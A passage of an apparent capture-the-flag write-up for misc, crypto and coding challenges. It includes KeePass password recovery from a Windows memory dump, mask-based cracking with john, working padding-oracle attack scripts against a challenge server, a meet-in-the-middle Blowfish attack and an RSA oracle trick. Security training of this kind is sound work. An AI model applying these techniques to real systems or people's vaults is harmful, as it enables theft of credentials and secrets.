    input_wav_file = "ch2.wav"

    print_lsb_from_wav(input_wav_file)

Combined we get 01100101001100000101101001001101010100100111101001110000010010000100110101000100010000100110101101011000001100000110011101111010010011100100100001001001011110000110001001101101011001000110011001010100010110000110110001100110010101010100100001001001011110100101100101111010010001010111011101100100010101000101010101101000011001100101000100111101001111011, which decodes to e0ZMRzpHMDBkX0gzNHIxbmdfTXlfUHIzYzEwdTUhfQ== which decodes to the flag.

Flag

{FLG:G00d_H34r1ng_My_Pr3c10u5!}

Misc-300

Description

Memory is cheating on you...

Recalling the lessons learned and the fragments won in previous realms, R-Boy finds a weakness in the AI's memory. Zer0 will at all costs try to protect its secrets. The only information that R-Boy has is linked to a prophecy speaking of 195 Bytes.

Solution

We identify we are dealing with a Windows 10 memory dump. So we can use volatility3 to handle this. First listing all the processes py ~/hxx/forensics/volatility3/vol.py -f ./memdump.elf windows.pstree

We find few interesting processes running:

** 3648	3612	explorer.exe	0xc98f459340c0	81	-	1	False	2023-09-29 14:05:25.000000 	N/A
*** 5352	3648	SecurityHealth	0xc98f4553d080	7	-	1	False	2023-09-29 14:05:41.000000 	N/A
*** 5164	3648	KeePass.exe	0xc98f4641b0c0	10	-	1	False	2023-09-29 14:05:37.000000 	N/A
*** 5588	3648	OneDrive.exe	0xc98f46270080	39	-	1	False	2023-09-29 14:05:43.000000 	N/A
*** 4052	3648	notepad++.exe	0xc98f4637e080	0	-	1	False	2023-09-29 14:07:09.000000 	2023-09-29 14:07:09.000000
*** 5464	3648	VBoxTray.exe	0xc98f46443080	15	-	1	False	2023-09-29 14:05:42.000000 	N/A
*** 2268	3648	notepad++.exe	0xc98f465ae080	9	-	1	False	2023-09-29 14:07:02.000000 	N/A

Next we naturally try to extract the password from KeePass.exe py ~/hxx/forensics/volatility3/vol.py -f ./memdump.elf windows.keepass --pid 5164:

0x2e66000    0x1000    MGN7#zZJzWmwX45WfHQ
0x7ff98d7c3000    0x1000    MGN7#zZJzWmwX45WfHQ
0x7ff9bcc54000    0x1000    {M,a}GN7#zZJzWmwX45WfHQ
0x85dcc7602000    0x2000    {M,y,#}GN7#zZJzWmwX45WfHQ
0x8a032b11f000    0x1000    {M,y,a,^}GN7#zZJzWmwX45WfHQ
0xb40041753000    0x10000    {M,y,a,#,X}GN7#zZJzWmwX45WfHQ
0xc98f43200000    0x200000    {M,y,a,#,^,_}GN7#zZJzWmwX45WfHQ

This password didn't work for the kdbx in \Users\user\Documents\Database.kdbx. Trying to leak the full password through other means such as Activities.db or the two notepads opened also didn't work.

After finding the zip file with the flag in \Users\user\Documents\usefulinfo.zip it was clear we needed to go back to the kdbx.

We were able to recover the password by cracking the first two characters using john ~/hxx/john/run/john --mask='?a?aGN7#zZJzWmwX45WfHQ' ./hash.txt - gives us the full password 4MGN7#zZJzWmwX45WfHQ.

From the Keepass database we get the password $*goLWqJks9%aR5, with which we can decrypt the zip and get the flag.

Flag

{FLG:MaY_TH3_m3M0ry_BE_W1tH_y0U!}

Misc-200

Description

Zombie attack

As the battle begins, R-Boy quickly realizes that Nethra is an opponent unlike any other. The AI anticipates every move he makes, making it nearly impossible to gain the upper hand. For a moment, R-Boy feels overwhelmed, at the mercy of an enemy that seems indestructible. However, R-Boy receives a signal from his team, revealing a well-thought-out strategy from a previous attack.

-ZoMb134tTack-

Solution

We are provided a PE binary (that is compiled Python however) and pcap. In the pcap we find TCP stream 13 containing what looks like the communication with the binary, including a IV and ciphertext. Extracting the pyc py pyinstxtractor.py ./zombie05.exe and decompiling the pyc using uncompyle6, we get the full source:

# uncompyle6 version 3.5.0
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.5 (default, Jun 20 2023, 11:36:40) 
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: zombie05 (3).py
import socket
from Crypto.Cipher import AES
from base64 import b64encode, b64decode
from Crypto.Util.Padding import pad
from time import sleep
import json, sys
HOST = '192.168.22.128'
PORT = 9999
KEY = 'Keypitsimple! <3'
ENTROPY = 'Operations time:D'
CONN_PASSWORD = 'c0nn3cti0n_p4ssw0rd'

def generate_pass(psw):
    char_list = [psw[i] if i not in (2, 6, 10, 14) else psw[i + 4 if i < 14 else 2] for i in range(len(psw))]
    new_string = ''.join(char_list)
    a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(new_string, ENTROPY)]
    key = ''.join(a_list)
    return key


def encrypt(plaintext, key):
    cipher = AES.new(key, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(plaintext, AES.block_size))
    iv = b64encode(cipher.iv).decode('utf-8')
    ct = b64encode(ct_bytes).decode('utf-8')
    result = json.dumps({'iv':iv,  'ciphertext':ct})
    return result


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as (s):
    msg = input('Please, enter your secret: ').encode('utf-8')
    privkey = generate_pass(KEY)
    encr_msg = encrypt(msg, bytes(privkey, 'utf-8'))
    s.connect((HOST, PORT))
    data = s.recv(24)
    s.send(bytes(CONN_PASSWORD, encoding='utf-8'))
    c = 0
    while True:
        print(c)
        if c == 0:
            data = '00WAIT'
            print(data)
        else:
            data = s.recv(24)
            data = data.decode('utf-8')
            print(data)
        if data == 'EXPORT':
            s.send(bytes(encr_msg, encoding='utf-8'))
            print(len(encr_msg))
            break
        s.send(bytes('ZOMBIE05WAITING&READY', encoding='utf-8'))
        c = c + 1
        sleep(5)

From this we can get the AES key by calling generate_pass(KEY) and then using CyberChef to decrypt and get the flag, like thisAES_Decrypt(%7B'option':'Hex','string':'041516020800050603031c11484d1c09'%7D,%7B'option':'Base64','string':'ER0V1ge5/0jIeBNo5FMELTuszfOVgf/cjSrFbsMlCFOEZFQMKVZfGpQLHvtPIXmcSoM7ahskjgPcBvvc/4TxmQujF48RiSm2kNqaUuQn3%2B8UdY5/zYoXUglkddVfUfLedSh0F8H6/093dICMojjUTzgnCbztrzdwCUW2pFUpb5y4XVFzKa5AJG6KEMTwsArKZBQ2i3cHTpsby6Jwzm45WkTF%2BNs/NK3kISBNiNhSYOHkmSTxi56eRpTCPp6fTy5MDHduOdao%2Br8csrr5QOwWWaMulDdUmC42zBY1ysmNXaA%3D'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=RVIwVjFnZTUvMGpJZUJObzVGTUVMVHVzemZPVmdmL2NqU3JGYnNNbENGT0VaRlFNS1ZaZkdwUUxIdnRQSVhtY1NvTTdhaHNramdQY0J2dmMvNFR4bVF1akY0OFJpU20ya05xYVV1UW4zKzhVZFk1L3pZb1hVZ2xrZGRWZlVmTGVkU2gwRjhINi8wOTNkSUNNb2pqVVR6Z25DYnp0cnpkd0NVVzJwRlVwYjV5NFhWRnpLYTVBSkc2S0VNVHdzQXJLWkJRMmkzY0hUcHNieTZKd3ptNDVXa1RGK05zL05LM2tJU0JOaU5oU1lPSGttU1R4aTU2ZVJwVENQcDZmVHk1TURIZHVPZGFvK3I4Y3NycjVRT3dXV2FNdWxEZFVtQzQyekJZMXlzbU5YYUE9).

Flag

{FLG:Th1s_1s_th3_f1n4l_z0mb13_s3cr3t!}

Misc-100

Description

Kingply

In the heart of the Misc Realm, R-Boy prepares for the decisive battle. He never expected to encounter an old foe: the master of the digital underworld in this realm is Zer0, someone he knows well. The atmosphere grows increasingly tense, and Zer0 reveals an ace up his sleeve: an extremely advanced Artificial Intelligence called "Nethra," programmed to predict and counter every move R-Boy makes. However, it seems that some clues for gaining an advantage have been disguised.

Solution

From the provided email.txt we recover important_dental_information.zip and receipt.png. The zip is encrypted however. In the receipt's EXIF there is a password format hint birthDateMail***R3ply!, after a long while we also find the other hint _______________________________R3ply! in the email. From this we only need to guess the birthdate format (from the birthdate in the email - we also know it's six digits) and the three characters. We already know the email jfeng@veryrealmail.com. So we can recover the password 900802jfeng@veryrealmail.com!@#R3ply! using johntheripper and some additional guessing (I used python for password candidate generation and ran john on the generated wordlist). Unzip the zip and get the flag.

Flag

{FLG:J4n1c3_h4s_g0t_s0m3_b4d_t33th}

Crypto-400

Description

MLCPO

R-Boy did it! With the defeat of Craken, Iris, the true mistress of the Crypto Realm, is liberated. Iris hands over to R-Boy the Enigma Fragment, the penultimate piece of the puzzle in his journey to become a Digital Knight.

Solution

We're not given any source, but from a bit of guessing, we guess we can apply a padding oracle attack. To solve the first challenge, we can simply use the following:

from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time
import base64

iv1 = base64.b64decode("tc8AQ7uwOjh38vjudeu4Rw==")
iv2 = base64.b64decode("P6ffjVhRnVxa6doqc//iAw==")

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):

        while 1:
            try:
                response = requests.post("http://gamebox3.reply.it/crypto4-70cf7b2988c0641fd4726123c3321b57cfbc92ac/chall2", json={"ct": str(base64.b64encode(data).decode()), "iv1": str(base64.b64encode(iv1).decode()), "iv2": str(base64.b64encode(iv2).decode())}, headers={"content-type": "application/json"}, timeout=5)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if "not ready" in response.text:
            logging.debug('No padding exception raised on %r', data)
            raise BadPaddingException

        # An HTTP 500 error was returned, likely due to incorrect padding

if __name__ == '__main__':
    import logging
    import sys


    logging.basicConfig(level=logging.DEBUG)

    padbuster = PadBuster()
    ct = bytearray(base64.b64decode("1hqerWSfLpFCamVmPhfVXz5mieNkIumFZh3iyVR+YEEOqfKt/+vbejkKjXK08EWE"))


    pt = padbuster.decrypt(ct, iv=iv1, block_size=16)
    print(pt)

Which gives us: {FLG:G1mm3_4n_0r... GET the /secret_map

Another challenge, but with double encryption. After a bit of trying we notice we can also send just 2 blocks instead of 1. To solve the challenge we can notice that instead of changing X-1 block, we change X-2 blocks:

Third block:

from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time
import base64
from pwn import xor

iv1 = bytearray(base64.b64decode("tc8AQ7uwOjh38vjudeu4Rw=="))
iv2 = bytearray(base64.b64decode("P6ffjVhRnVxa6doqc//iAw=="))
ct = bytearray(base64.b64decode("1hqerWSfLpFCamVmPhfVXz5mieNkIumFZh3iyVR+YEEOqfKt/+vbejkKjXK08EWE"))


blockIndex = 16 * 2

def padding_oracle(ct):
    while 1:
        try:
            response = requests.post("http://gamebox3.reply.it/crypto4-70cf7b2988c0641fd4726123c3321b57cfbc92ac/chall2", json={"ct": str(base64.b64encode(ct).decode()), "iv1": str(base64.b64encode(iv1).decode()), "iv2": str(base64.b64encode(iv2).decode())}, headers={"content-type": "application/json"}, timeout=1)
            break
        except KeyboardInterrupt:
            exit()
        except:
            continue
    if "not ready" in response.text:
        return False
    return True

def attack(ciphertext):
    blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
    decrypted = b''

    for i in range(len(blocks)-1, 0, -1):
        intermediate = bytearray(16)
        for j in range(15, -1, -1):
            for byte in range(256):
                modified_block = bytearray(blocks[0])
                print(i-1)
                for k in range(15, j, -1):
                    modified_block[k] ^= intermediate[k] ^ (16-j)
                modified_block[j] ^= byte
                if padding_oracle(modified_block + blocks[1] + blocks[i]):
                    intermediate[j] = byte ^ (16-j)
                    print(intermediate)
                    break
        decrypted = bytes([blocks[i-1][j] ^ intermediate[j] for j in range(16)]) + decrypted

    return decrypted

attack(ct)

"""

M3 = dd(C3) XOR d(C2) XOR C1

"""

For the second block we just change iv2 which has direct influence into the last xor.

from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time
import base64
from pwn import xor

iv1 = bytearray(base64.b64decode("tc8AQ7uwOjh38vjudeu4Rw=="))
iv2 = bytearray(base64.b64decode("P6ffjVhRnVxa6doqc//iAw=="))
ct = bytearray(base64.b64decode("1hqerWSfLpFCamVmPhfVXz5mieNkIumFZh3iyVR+YEEOqfKt/+vbejkKjXK08EWE"))[:32]


blockIndex = 16 * 2

def padding_oracle(ct, iv2):
    while 1:
        try:
            response = requests.post("http://gamebox3.reply.it/crypto4-70cf7b2988c0641fd4726123c3321b57cfbc92ac/chall2", json={"ct": str(base64.b64encode(ct).decode()), "iv1": str(base64.b64encode(iv1).decode()), "iv2": str(base64.b64encode(iv2).decode())}, headers={"content-type": "application/json"}, timeout=1)
            break
        except KeyboardInterrupt:
            exit()
        except:
            continue
    if "not ready" in response.text:
        return False
    return True

def attack(ciphertext):
    blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
    decrypted = b''

    for i in range(len(blocks)-1, 0, -1):
        intermediate = bytearray(16)
        for j in range(15, -1, -1):
            for byte in range(256):
                modified_block = bytearray(iv2)#bytearray(blocks[i-2])
                print(i-1)
                for k in range(15, j, -1):
                    modified_block[k] ^= intermediate[k] ^ (16-j)
                modified_block[j] ^= byte
                if padding_oracle(ct, modified_block):
                    intermediate[j] = byte ^ (16-j)
                    print(intermediate)
                    break
        decrypted = bytes([blocks[i-1][j] ^ intermediate[j] for j in range(16)]) + decrypted

    return decrypted

attack(ct)

So we're only able to recover 2/3 blocks, however the first block is the first solution of the challenge:

Flag

{FLG:G1mm3_4n_0r4cl3_4nd_1ll_d3crypt_th3_w0rld}

Crypto-300

Description

Meatsafe Cipher

After facing numerous challenges, R-Boy finally reaches Craken. The battle is intense and fierce: R-Boy is well-prepared and counterattacks with what he has learned from the ancient Codex C11. His attacks are relentless, even though Craken seems to defend himself admirably.

Solution

We're given some cipher that first encrypts with the first key and then encrypts with the second key. To solve this we can simply create a lookup table for all the encrypted / decrypted values and check if the values are in the table for the opposite. A MITM attack:

from Crypto.Cipher import Blowfish
import itertools

lookup = {}
iv = bytes.fromhex("11426df2a893b0c6")


i = 0
for key in itertools.product(range(256), repeat=3):
    i += 1
    key = b"\x00"*5 + bytes(key)

    cipher = Blowfish.new(key, Blowfish.MODE_OFB, iv)
    ct = cipher.encrypt(b"Secret_Codex_C11")

    cipher = Blowfish.new(key[::-1], Blowfish.MODE_OFB, iv)
    res = cipher.encrypt(ct)
    lookup[res] = key
    if i % 10000 == 0:
        print(i)

print("lookup done")

ct = bytes.fromhex("c8e0887fe524dc7bb87964e14e6531f3")
for key in itertools.product(range(256), repeat=3):
    key = b"\x00"*5 + bytes(key)

    cipher = Blowfish.new(key, Blowfish.MODE_OFB, iv)
    res = cipher.decrypt(ct)
    if res in lookup:
        print(key, lookup[res])

Which we can then solve:

from Crypto.Cipher import Blowfish
import itertools

lookup = {}
iv = bytes.fromhex("2bd3933e6831fe13")
ct = bytes.fromhex("1fef09219126e0b8c4dc2c6456c670cff1d15ba99a8a5a6753ba62140a276df514a5ba50fd06")

k1 = b'\x00\x00\x00\x00\x00\xafU\x04'
k2 = b'\x00\x00\x00\x00\x00\xf9\x00.'

k = k2 + k1
cipher = Blowfish.new(k[8:16], Blowfish.MODE_OFB, iv)
ct = cipher.decrypt(ct)

cipher = Blowfish.new(k[0:8][::-1], Blowfish.MODE_OFB, iv)
ct = cipher.decrypt(ct)

cipher = Blowfish.new(k[0:8], Blowfish.MODE_OFB, iv)
ct = cipher.decrypt(ct)

print(ct)

Flag

{FLG:1t-s3as1erIf_you_M33t_Me_H4lfway}

Crypto-200

Description

VizCrypto Adventure

As he progresses deeper into the forest, R-Boy realizes that he appears to be lost. He must decipher complex riddles and overcome traps to reach his destination. Despite the obstacles, his determination is unwavering: he must free Iris and restore order in the Crypto Realm.

Solution

We're given 5 shares of images, xoring them all together (and inverting) gives:

Which contains: "Sandeep Katta" sending us to this paper. To solve the challenge we follow the steps in the paper and divide the image into 5 sections and xor them together and repeat that another time but divided into even smaller sections:

And for the second step:

Now we use vignere to solve it&input=e0hUVjpjMVdsNHNfM2gxVGY0X1llZDMxWTNqfQ)

Flag

{FLG:v1Su4l_3n1Gm4_Unv31L3d}

Crypto-100

Description

RSA: Rapid Solvable Attack

R-Boy arrives in the Crypto Realm, a place shrouded in mystery and located in an enchanted forest of algorithms and encrypted data. The air is thick with riddles, and the tension is palpable. Here, secrets are protected by the dark arts of cryptography, and R-Boy knows that the next fragment won't be easily attainable.

Solution

We're given an url where we get a RSA ct, N and e. We can then send to the server ct + N to get back the flag:

import requests 

N,e = (993253492452935121820315551609765547764200861236644604583769554519726980416875460767368123292287922962572189241399835015871307677778265230304910045248795509111404549636199112256842511138561622682015749187350169624186523401586430156743164203885891525793731042527791939044610331420697030806473541320223162575775303314030208417412612772333971494819331781399909314989454116429908113359538765783131158699319707223700204738026561514315471951069465672751672455341635648727309156975710681696921715812272941983867426997455120014602565187487996972035973903471661547180840129878522525888846035122843354443518361900343650364987545952240408581758884282402051867339216510204782411322399260199516711542261952864990534749296719079358889151418258415741617748714368200336710179247443071037238094734117053858745625595384293117166545638686057037229368009684060099881100998199585013178227029322448320601974936792859071390741387366832801935622386154615337060460189394532042064607878692341953275741120164111930163528692319027308042336337692855302077591598258295223262775483934946082133975326883045654227615075528510945777138609060408828022911601951509114671204260448335414863097970693586347002867426819868182182675923562719790549948808794897952626370424209062202291049793118912374317771794893674943763244662604482045859692450066482941056573426697120348020795851574377132429005774350666555250865168997964197539142488917414652158217610822215934787147018965090137915154073654407691790047681987139117765062477847088578510755690997510125885673195950694823565790355898766233079337981357754611706155494689279862485237989643116023983024613805726153070652221210009673960261394899896794725955242410172043968680423494793776224001523792498940881778607280055145064531969655583572219214744044047426753849090984822197763226843693202192573282850719500397664541655424919901326592284390410619348569107697058424672685063847772105198511013974104410475453641871867635590769818985693882047051021825977733226121929696648084805517080981753540916850824021980859615104911267710199238073017146278215711259565160573139182986357872993983249177848529401661218609958475505288816235837327104321997353821116303157069740820279123985700499625985960896508732637925957654229630752760709293006004519218074379807448590851834358934945489954725540106075815467434738787618737801856687071258514137364598701929582525251268952090656247952880270680763763098339799332569098380139768393533019619683395959008324558690944721418729403736831, 513444152893947538257639083362232832711946193972876510165914946190193111082793796409673752070178764743612627932547809774349272824918321328883447120427850333920931040130513235126286209353903870158896929959505037589567493320368308879600175545004525682346869336229534962507795499609058313077500577098007283980356324633006839477445237298140715187138310912158808199884704548752114372067079765726583184753895472954757900320947547064399573592960531577219032704250520478490343501933981615244392390112793377445275609732733481174301970728871844230752796309525795885380215614633361408808001724762020191439484245907478540904504233679620749524808279711200617373790278096716209612864192125994676524150649376089444743721620880480206702524066472578339437777235174479200595773407504556147908093618993534473916154524131354066606983645124536652265343182624096110766660202979266910932623402713783331340771101065029481389641382722032917483927403435847047986961572821124340945758606187614927227122236568464077999100536226948864858196840036526553908092891873399929589376553584444158309669648625020530690451459568802012602388637468356219444609828163321775785882446997509301831518634144438807273695529064938827472154895626769675041054628852501831943311500884521882819266597463969174095437555630919488481232400635401645142482232119171262623492875382375656259427573875107104521301160071170740238938230740223588197264677292948558852868316102594600542865581808707391306716018885372794027225095994170060145509242034533192207351238424541671828860977673215744101759542535406610850282519568407297444923258272488146328929418879228282890605730490831090031732056314233061711547592480265980351833950076990357835254366807414930359030651079528996910615983746352087955728350082413897906461535848939407396641951127697698804433510822599420181078941806424851806564665325148125302484725744723825434743702525789857256500917434765913020583546600950904720272546233388838538829662747380727445353616678852042553587013807334365911499457622468790350299976092238594448926565629583710710623807028485516550898690881898322315172956090488365006159461568252572009667287634801036593927216420380052264014356875426286755386282693090846316946293833568003369319965154091316439775472808857109580213069376796547174896372952328925088629287221996203559736955843560051061039980649157763785483952999120685779622051892460390079873968467558487284100067693950323071984719630581375716355548593821851940235195450838679532938248351347966703)
ct = 692338661933216402692807477218199339646036977966184537300163633622728204400293862957974312890625908981984017137759038151808731872969978073576286125089335458306086649588289730575357702445068609971122667086922631371150332353967316412558860086268787151321666670507301126729224209876304744415516451660218037164561327929198246097379456240710956065514396194770573358772113291976799216825177240775093404894585437722830164808220897692768846781200872311676587727879325514856155116664044650036276837496886708944398640363284127936239060642669136715625896661175210783216536543374329404515439100690907845685183869468680777065326749023947277886152847214531546913799054624450218575652824283591778126113798220356220964566885039850270993873540676649607201507924986178184644704447681565947926675470447694818292287045187088320567775091661224886464585523170108382938797385827596388021805890831579853994786240143937679429682191384568246439996840469650772764449270084674953996592747382731741256828636967046679968089576555622135627918370289286305802070566568173989433017024451708584910586522152481889095733941744984849005243509523266418087447548175132997857822010476225241617409457383524325658357645263833079392906452452165514200611368765293817414494509187907354032484068083683513063245113560424833987660158723243626035101383982932548680014835137697082310299396947428684108273235305137080434020511794451380087647760899183743908301312849860636262524930976473419258743634448261095908985523203755078960697830013788066458332554449309066889237567359656911130561104038256529539576721823688627843972955838896196287285376164930994298518548016550491079788919449986644623339002073666735617121850765117794048869108521625716802414982148699355059268437824224566542922233677135274610007347829671774870753157219921376953346988932013697964673401651267809666498296178214000370800630453233503066617975623478262219880841663480393511598478784483044793470602919380015386217625170992980537274546249176411054048251028000137704826506004795683735358413779733500767816664594460846331678602552430663116993267159629233883817198783436631986048096622921684137229343294438044890328756142278070630641949201748781061586955656922781670507477303076246246046416414651792326809857350257354961475652003363222252281667737897816547425539622013459882248094894711548839741127296954921204915416734381856711587785423357621340062100013873716767701391721851033888512731293654853910318222043080644079912085294764011151434507067559248398
ct += N 

res = requests.post("http://gamebox1.reply.it/crypto1-f8dcb45c431202a866cf47e45be0dd44cc21cae0/oracle", json={"cipher": str(ct)}, headers={"content-type": "application/json"})
print(res.text)

# ...
from Crypto.Util.number import *
print(long_to_bytes(67408115322236395282174824088899011491294684026244495828319049874888134219628053435271324894932642173))

Flag

{FLG:H0mom0rf1c_Vu7N3R5b1liTi3s_0nRSA:)}

Coding-500

Description

Cutest chessboard ever ^^

As he holds the new fragment in his hands, R-Boy knows that the road ahead is still long and filled with challenges. Perhaps the challenge will be even tougher than expected.

Solution

Figure 1. 0.jpg, the initial board with cat/dog pictures as pieces

Figure 2. A random position that we need to solve

We are assigned with the folowing task: from all of the given images (which are just chess games played with dog/cat pictures instead of pieces), determine which one is a checkmate and print the FEN notation of the position, the Winner and the piece(s) that are attacking the king.

Basically, we need to split this problem into two parts:

  • Perform some kind of Image Recognition in order to find out which piece is which, we can make use of the 0.jpg image, which presents us with an initial chess position. To do that we basically split the image into 64 squares and got the pieces that we needed + the empty cell. The piece recognition is a bit trickier, as the pieces appear rotated in some of the images, we mostly solved this problem by comparing the cells using histogram comparison which worked for all but 2 of the levels. For the other 2 we used ORB from OpenCV, which was much slower than the histogram comparison
  • After being able to recognize the pieces in the image, we need to be able to reconstruct the chess board and apply the usual chess rules. This was very easy to do using the python-chess library which provides a lot of flexibility and features (telling us if the position is a checkmate, which pieces are attacking the king square, who won, and of course the FEN notation that we need)

This was our final solver script:

import cv2
import numpy as np

def split_chessboard(image_path, square_size):
    # Load image
    img = cv2.imread(image_path)

    # Check if image is loaded
    if img is None:
        print("Error: Unable to load image")
        return []

    # Initialize array to hold squares
    squares = []

    # Loop through and extract each square
    for i in range(8):
        squares.append([])
        for j in range(8):
            # Extract square and append to squares list
            square = img[i*square_size:(i+1)*square_size, j*square_size:(j+1)*square_size]
            squares[-1].append(square)

    return squares

# Example usage:
# Provide the path to your 800x800 chessboard image
image_path = "0.jpg"
# As the image is 800x800 and a chessboard has 8x8 squares, each square is 100x100
square_size = 100
squares = split_chessboard(image_path, square_size)

r = squares[0][0]
n = squares[0][1]
b = squares[0][2]
q = squares[0][3]
k = squares[0][4]
p = squares[1][0]

R = squares[7][0]
N = squares[7][1]
B = squares[7][2]
Q = squares[7][3]
K = squares[7][4]
P = squares[6][0]

# show image
# cv2.imshow("Image", )
# cv2.waitKey(0)

white_pieces = [(R, 'R'), (N, 'N'), (B, 'B'), (Q, 'Q'), (K, 'K'), (P, 'P')]
black_pieces = [(r, 'r'), (n, 'n'), (b, 'b'), (q, 'q'), (k, 'k'), (p, 'p')]

empty = squares[2][0]

def calculate_histogram(image):
    hist = cv2.calcHist([image], [0], None, [256], [0,256])
    cv2.normalize(hist, hist)
    return hist

def compare_histograms(hist1, hist2, method=cv2.HISTCMP_CORREL):
    return cv2.compareHist(hist1, hist2, method)

def get_similarity(image1, image2):
    hist1 = calculate_histogram(image1)
    hist2 = calculate_histogram(image2)

    similarity = compare_histograms(hist1, hist2)
    return similarity

def get_best_similarity(image1, image2):
    best_similarity = get_similarity(image1, image2)

    rotated_img = image2.copy()

    # Check for rotated versions
    for angle in [90, 180, 270]:
        rotated_img = cv2.rotate(rotated_img, rotateCode=cv2.ROTATE_90_CLOCKWISE)
        similarity = get_similarity(image1, rotated_img)
        best_similarity = max(best_similarity, similarity)

    return best_similarity

def orb_similarity(image1, image2):
    # Initialize ORB detector
    orb = cv2.ORB_create()

    # Find keypoints and descriptors
    kp1, des1 = orb.detectAndCompute(image1, None)
    kp2, des2 = orb.detectAndCompute(image2, None)

    # Initialize BFMatcher
    bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)

    # If no keypoints are detected, return a low similarity score
    if des1 is None or des2 is None:
        return 0.0

    # Match descriptors
    matches = bf.match(des1, des2)

    # Return the number of matches as a simple similarity score
    return len(matches)

def get_piece(square):
    M = -1
    _piece = None
    _symbol = None
    for piece, symbol in white_pieces + black_pieces + [(empty, '.')]:
        m = get_best_similarity(square, piece)
        if m >= M:
            M = m
            _piece = piece
            _symbol = symbol

    return _piece, _symbol


def build_chessboard(image_path):
    square_size = 100
    squares = split_chessboard(image_path, square_size)

    chessboard = []
    for i in range(8):
        chessboard.append([])
        for j in range(8):
            piece, symbol = get_piece(squares[i][j])
            chessboard[-1].append(symbol)

    return chessboard

import chess

def matrix_to_fen(matrix):
    # Create a chess board
    board = chess.Board(None)  # None creates an empty board

    for row_idx, row in enumerate(matrix):
        for col_idx, piece in enumerate(row):
            # Set piece on the board
            if piece != ".":
                board.set_piece_at(chess.square(col_idx, 7-row_idx), chess.Piece.from_symbol(piece))

    if board.is_checkmate():
        return board.fen(), board
    else:
        board.turn = chess.BLACK
        if board.is_checkmate():
            return board.fen(), board
    return 0, 0

import os
for i in range(1, 1000):
    if not os.path.exists(f"{i}.jpg"):
        break
    fen, board = matrix_to_fen(build_chessboard(f"{i}.jpg"))
    if fen:
        data = fen.split(' ')
        fen = data[0]
        winner = "B" if board.turn == chess.WHITE else "W"

        the_attackers = []

        if winner == "B":
            white_king_square = board.king(chess.WHITE)
            attackers = board.attackers(chess.BLACK, white_king_square)
            for attacker in attackers:
                the_attackers.append(chess.SQUARE_NAMES[attacker])
        if winner == "W":
            black_king_square = board.king(chess.BLACK)
            attackers = board.attackers(chess.WHITE, black_king_square)
            for attacker in attackers:
                the_attackers.append(chess.SQUARE_NAMES[attacker])

        the_attackers.sort()
        the_attackers = ','.join(the_attackers)

        print(f'{fen}-{winner}-{the_attackers}')

And to avoid manually unzipping all the levels, this dumb automation script did the job:

import os
import subprocess
import time

last_pw = "last"

while True:
    good = False
    subprocess.check_output(
        f"cp level.zip old/{last_pw.replace('/','_')}.zip", shell=True
    )
    for password in subprocess.check_output("python solve.py", shell=True).splitlines():
        password = password.decode().strip()
        try:
            res = subprocess.check_output(f"unzip -P'{password}' -o level.zip 2>&1", shell=True)
            print(password)
            last_pw = password
            good = True
            break
        except subprocess.CalledProcessError:
            pass

    time.sleep(1)

    if not good:
        print("failed")

Flag

{FLG:d0_U--lik3-m0sT_D0Gs-_oR-c4Ts?!}

Coding-400

Description

DeliverSmart

With Hexacode defeated, R-Boy obtains the Algorithm Fragment, the first of the five Fragments of Knowledge. His victory brings him closer to his ultimate goal: becoming a Digital Knight and saving the Digital Realms from the growing threat.

Solution

The problem itself is specified in the README.md file.

This was just a matter of implementing the conditions exactly as specified. As the delivery driver always has to do everything in order of delivery date, no optimization was possible. The most straightforward greedy implementation was the correct one. Solver script:

import csv
import datetime
import heapq
import collections
from dataclasses import dataclass


@dataclass
class Order:
    """Class for keeping track of an item in inventory."""
    src: str
    dest: str
    cnt: int

orders = []



with open("orders.csv", "r") as f:
    r = csv.reader(f, delimiter=' ')
    next(r, None) 
    date_format = '%Y-%m-%d %H:%M:%S'
    for line in r:
        (shop, dest, date, cnt) = line
        date = datetime.datetime.strptime(date, date_format)
        orders.append((date, Order(shop, dest, int(cnt))))
        
orders.sort()

edges = []


with open("graph_paths.csv", "r") as f:
    r = csv.reader(f, delimiter=' ')
    next(r, None) 

    for line in r:
        (src, dest, weight) = line
        edges.append((src, dest, int(weight)))
        edges.append((dest, src, int(weight)))

graph = collections.defaultdict(list)
for l, r, c in edges:
    graph[l].append((c,r)) 

def shortestPath(edges, source, sink):
    # create a priority queue and hash set to store visited nodes
    queue, visited = [(0, source, [])], set()
    heapq.heapify(queue)
    # traverse graph with BFS
    while queue:
        (cost, node, path) = heapq.heappop(queue)
        # visit the node if it was not visited before
        if node not in visited:
            visited.add(node)
            path = path + [node]
            # hit the sink
            if node == sink:
                return (cost, path)
            # visit neighbours
            for c, neighbour in graph[node]:
                if neighbour not in visited:
                    heapq.heappush(queue, (cost+c, neighbour, path))
    return float("inf")



i = 0
capacity = 20
cur_pos = "Start"
res = []


while i < len(orders):
    taking = []
    cnt = 0
    while cnt + orders[i][1].cnt  <= capacity:
        cnt += orders[i][1].cnt
        taking.append(orders[i][1])
        i += 1
        if i >= len(orders):
            break
    print(cnt)
    
    pickup = list(taking)
    pickup_time = 0
    while len(pickup) > 0:
        #print(pickup)
        order = pickup[0]
        cost = shortestPath(edges, cur_pos, order.src)
        #print("Going to", target[1], "took", cost[0])
        pickup_time += cost[0]
        cur_pos = order.src
        pickup = list(filter(lambda x : x.src != order.src, pickup))

    deliver = list(taking)
    deliver_time = 0
    while len(deliver) > 0:
        #print(pickup)
        order = deliver[0]
